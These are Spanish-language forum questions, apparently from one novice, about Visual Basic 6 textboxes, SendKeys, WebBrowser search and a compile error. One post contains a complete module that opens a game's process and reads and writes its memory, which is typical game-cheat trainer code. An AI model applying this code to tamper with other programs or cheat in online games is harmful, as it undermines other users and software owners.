[Ejemplo:que en el texbox Solo entren 100 letrasPero Tambien QUisiera que En el Textbox Se PUeda Escribir Normal Hasta llegara 100 letras , Pero seguir escribiendo , Mientras que sigas escribiendo mas letras,en el comienzo Se Van DIsminuyendo... , Pero En Si El TextBos Solo Puede Cotener 100 letras o caracteres]

Hola a todos

ANdo en un projecto EN Lo Cual Solo quiero que Entre una cierta cantidad de letras

Ejemplo:

que en el texbox   Solo entren 100 letras


Pero Tambien QUisiera que  En el Textbox  Se PUeda Escribir Normal Hasta llegar

a 100 letras , Pero seguir escribiendo , Mientras que sigas escribiendo mas letras,

en el comienzo Se Van DIsminuyendo... ,  Pero En Si El TextBos Solo Puede

Cotener 100 letras o caracteres

Espero Aver  Explixado Bien =)

Gracias De Antemano

[Hola A TodosWenO Tengo Una Duda de CompilacionHice Un Enviador De E - mAIlY Me Anda Bien, Incluso Puedo Conpilarlo y Usarlo Despues de Aberlo HechoPero EL error Me ANda Al Enviarle La Aplicacion a Uno de MIs ContactosAmi mE Funciona Bien, pero Cuando se Los Envio a MIs Contactos PAra que lo veanLes Aparece el Siguiente Error Al AbrirloBueno El Proyecto Lo Unico que Tiene Es Un Project Mas Un Form1Con controles Incluidos- winsock- commandbutton- textbox-CommonDialogbueno no incluye otras Cosas NI Modulos Ni Dll Ni NadaPero Lo que No Entiendo Es Porque Cuando Le Envio la Aplicacion a unos de mis ContactosAl Abrilo El Les Aparece el error De la IMGBuenO Espero Sus RespuestasEspero haber Sido ExplicativoTalves Tengo que compilarlo de otra formaEspero sus respuestas =)Salu2]

Hola A Todos

WenO Tengo Una Duda de Compilacion

Hice Un Enviador De E - mAIl

Y Me Anda Bien,  Incluso Puedo Conpilarlo  y Usarlo Despues de Aberlo Hecho


Pero EL error Me ANda  Al Enviarle La Aplicacion a Uno de MIs Contactos

Ami mE Funciona Bien,  pero Cuando se Los Envio a MIs Contactos PAra que lo vean

Les Aparece el Siguiente Error Al Abrirlo



Bueno El Proyecto Lo Unico que Tiene Es Un Project Mas Un Form1

Con controles Incluidos

- winsock
- commandbutton
- textbox
-CommonDialog

bueno no incluye otras Cosas NI Modulos Ni Dll Ni Nada

Pero Lo que No Entiendo Es Porque  Cuando Le Envio la Aplicacion a unos de mis Contactos

Al Abrilo El Les Aparece el error De la IMG


BuenO Espero Sus Respuestas
Espero haber Sido Explicativo

Talves Tengo que compilarlo de otra forma

Espero sus respuestas  =)

Salu2

[SendKeys "{space}"]

Hola a Todos

Bueno Esta Es la Duda QUe Tengo

SendKeys "{space}"

Me Tira el error   "Run-time error '5': Invalid procedure call or argument"

Bueno El Pekeño Code que tengo es Este

Private Sub Command1_Click()
SendKeys "{space}"
End Sub



Lo Cual Al hAcer Clik en el Comman1 envie la Tecla Space

Pero ME MAnda El Error


--> se Que Alguna de sus Respuestas Sera QUe Ponga Lo Siguiente

SendKeys " "

Pero En Si Lo Que QUiero Es Que Se Presione La tecla SPACE

Bueno Espero Alguna Respuesta Que Me Ayude

Gracias de ANtemano  =)

[Hola A todosBueno tengo Una Duda Con Un Programa Que QUiero HacerLo Cual Necesito Un Poko de Su AyudaBueno Tengo Un Proyecto en Visual BasicLo Cual Solo Puede editar Valores De HAsta 4 BytesY lo que Yo en Si quiero Es Que Tambien Se Puedan EditarEn mas Byter E Incluso en Array Of ByteEL Code Que Tengo En UN Module es Este]

Hola A todos

Bueno tengo Una Duda Con Un Programa Que QUiero Hacer

Lo Cual Necesito Un Poko de Su Ayuda

Bueno Tengo Un Proyecto en Visual Basic

Lo Cual Solo Puede editar  Valores De HAsta 4 Bytes

Y lo que Yo en Si quiero Es Que Tambien Se Puedan Editar

En mas Byter E Incluso en Array Of Byte

EL Code Que Tengo En UN Module es Este

Public Const PROCESS_ALL_ACCESS = &H1F0FFF

Dim f1holder As Integer

Dim timer_pos As Long

'API Declaration

Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long

Public Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal key As Long) As Integer

Public Declare Function ReadProcessMem Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Function WriteAByte(gamewindowtext As String, address As Long, value As Byte)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

WriteProcessMemory phandle, address, value, 1, 0&

CloseHandle hProcess

End Function

Public Function WriteAnInt(gamewindowtext As String, address As Long, value As Integer)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

WriteProcessMemory phandle, address, value, 2, 0&

CloseHandle hProcess

End Function

Public Function WriteALong(gamewindowtext As String, address As Long, value As Long)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

WriteProcessMemory phandle, address, value, 4, 0&

CloseHandle hProcess

End Function

Public Function ReadAByte(gamewindowtext As String, address As Long, valbuffer As Byte)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

ReadProcessMem phandle, address, valbuffer, 1, 0&

CloseHandle hProcess

End Function

Public Function ReadAnInt(gamewindowtext As String, address As Long, valbuffer As Integer)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

ReadProcessMem phandle, address, valbuffer, 2, 0&

CloseHandle hProcess

End Function

Public Function ReadALong(gamewindowtext As String, address As Long, valbuffer As Long)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

ReadProcessMem phandle, address, valbuffer, 4, 0&

CloseHandle hProcess

End Function

Public Function ReadAFloat(gamewindowtext As String, address As Long, valbuffer As Single)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

ReadProcessMem phandle, address, valbuffer, 4, 0&

CloseHandle hProcess

End Function



Public Function WriteAFloat(gamewindowtext As String, address As Long, value As Single)

Dim hWnd As Long

Dim pid As Long

Dim phandle As Long

hWnd = FindWindow(vbNullString, gamewindowtext)

If (hWnd = 0) Then

MsgBox "The Game Is Not Working", vbCritical, "Error"

End

Exit Function

End If

GetWindowThreadProcessId hWnd, pid

phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

If (phandle = 0) Then

MsgBox "Can't get ProcessId", vbCritical, "Error"

Exit Function

End If

WriteProcessMemory phandle, address, value, 4, 0&

CloseHandle hProcess

End Function







Bueno Como VIeron Solo Tengo Hasta  4bytes

Pero Lo QUe En Si quiero ES Que TAmbien Se PUeda editar

valores de entre 4 bytes a Mas

Nose Si Me Explico Bien

Pero Espero De Sus Respuestas =)

[Hola GenteNecesito su ayuda-->En un Form Tengo un webBrowser, un textbox, y un commanbutton<--ayudenme en estoAl presionar el commandbutton, buske lo que contenga el textbox En el WebBrowserEs Decir: Si en el text1 Se encuenta la palabra holabusque en el webBrowser la palabra Hola y lo seleccione.YA Probe buscando en un textbox en ves de un webBrowsery el textbox tiene "Text1.SelText" y "Text1.Setfocus"Pero en el WebBrowser Solo encontre "WebBrowser1.setfocus"Si ALguien Me Podria DAr Una Manito Con Esto]

Hola Gente

Necesito su ayuda


-->En un Form Tengo un webBrowser, un textbox, y un commanbutton<--

ayudenme en esto


Al presionar el commandbutton, buske lo que contenga el textbox En el WebBrowser

Es Decir: Si en el text1 Se encuenta la palabra hola

busque en el webBrowser la palabra Hola y lo seleccione.


YA Probe buscando en un textbox en ves de un webBrowser

y el textbox tiene "Text1.SelText" y "Text1.Setfocus"

Pero en el WebBrowser Solo encontre  "WebBrowser1.setfocus"

Si ALguien Me Podria DAr Una Manito Con Esto

[Buen ALguien POdra ayudarme en esto?Como puedo agregarle eso a mi proyectoO si ya esta HEcho COmo lo cambio dentro del Proyecto]

Buen ALguien POdra ayudarme en esto?




Como puedo agregarle eso a mi proyecto

O si ya esta HEcho

COmo lo cambio dentro del Proyecto

[hola manes tengo una duda con estoal apretar introque se active el commandButton]

hola manes tengo una duda con esto



al apretar intro

que se active el commandButton

[weno lo que quisiera saber es quecual es el codigo para que appactivate No simplemente se active endicha ventanasino que se active en cual quier ventana de windowsEjemplo:AppActivate "Bloc de notas"Que se active No solo en el bloc de notassino en cualquier ventana de windowsEspero Sus respuestas =)]

weno lo que quisiera saber es que

cual es el codigo para que appactivate No simplemente se active en

dicha ventana

sino que se active en cual quier ventana de windows

Ejemplo:

AppActivate "Bloc de notas"

Que se active No solo en el bloc de notas

sino en cualquier ventana de windows

Espero Sus respuestas =)

[Hola Manes Kisiera La Yuda DE UStedes Bueno Lo QUe QUiero HAcer es lo siguiente Esta CLaro. Si a Escribir en el text "Nombre" Me aparezca en un msg BOx "Giovani" Si a Escribir en el text "Nick" Me aparezca en un msg BOx "NsTeam" Teniendo En Cuenta QUe En Donde Se Buscara eS Un WEb.Browser Espero Su Ayuda Gracias DE Antemano]

Hola Manes

Kisiera La Yuda DE UStedes

Bueno Lo QUe QUiero HAcer es lo siguiente



Esta CLaro.

Si a Escribir en el text "Nombre"
Me aparezca en un msg BOx "Giovani"

Si a Escribir en el text "Nick"
Me aparezca en un msg BOx "NsTeam"

Teniendo En Cuenta QUe En Donde Se Buscara eS

Un WEb.Browser

Espero Su Ayuda

Gracias DE Antemano